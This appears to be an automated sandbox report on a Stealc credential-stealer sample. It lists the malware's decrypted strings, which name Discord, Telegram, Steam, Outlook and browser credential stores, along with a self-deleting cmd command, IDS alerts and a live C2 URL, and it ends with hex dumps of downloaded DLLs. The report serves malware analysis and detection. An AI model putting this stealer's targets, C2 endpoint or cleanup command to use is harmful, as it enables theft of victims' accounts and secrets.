Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - Architecture:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - UserName:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - Computer Name:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - Local Time:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - UTC:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - Language:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - Keyboards:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - Laptop:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - Running Path:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - CPU:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - Threads:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - Cores:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - RAM:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - Display Resolution:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - GPU:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: User Agents:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Installed Apps:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: All Users:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Current User:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Process List:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: system_info.txt
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: freebl3.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: mozglue.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: msvcp140.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: nss3.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: softokn3.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: vcruntime140.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: \Temp\
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: .exe
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: runas
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: open
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: /c start
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: %DESKTOP%
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: %APPDATA%
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: %USERPROFILE%
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: %DOCUMENTS%
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: %RECENT%
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: *.lnk
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: files
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: \discord\
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: \Telegram Desktop\
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: key_datas
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: map*
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Telegram
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Tox
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: *.tox
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: *.ini
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Password
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: 00000001
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: 00000002
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: 00000003
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: 00000004
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Pidgin
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: \.purple\
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: accounts.xml
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: token:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Software\Valve\Steam
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: SteamPath
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: \config\
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: ssfn*
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: config.vdf
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: DialogConfig.vdf
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: libraryfolders.vdf
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: loginusers.vdf
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: \Steam\
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: sqlite3.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: browsers
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: done
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: soft
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: https
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: POST
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: HTTP/1.1
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: hwid
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: build
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: token
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: file_name
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: file
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: message
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6C69A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C694440 PK11_PrivDecrypt,	0_2_6C694440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C664420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6C664420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6944C0 PK11_PubEncrypt,	0_2_6C6944C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6C6E25B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6C678670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6C69A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6C67E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6C6BA730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6C6C0180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6943B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6C6943B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B7C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6C6B7C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C677D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6C677D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BBD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6C6BBD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B9EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6C6B9EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693FF0 PK11_PrivDecryptPKCS1,	0_2_6C693FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C699840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	0_2_6C699840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6C693850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BDA40 SEC_PKCS7ContentIsEncrypted,	0_2_6C6BDA40

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49763 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2070412011.000000006F8ED000.00000002.00000001.01000000.00000010.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2070272635.000000006C841000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2050877383.0000000000CAC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1677872732.0000000004DBB000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2070272635.000000006C841000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2050877383.0000000000CAC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1677872732.0000000004DBB000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2070412011.000000006F8ED000.00000002.00000001.01000000.00000010.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 8MB later: 41MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 06:14:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 06:14:25 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 06:14:28 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 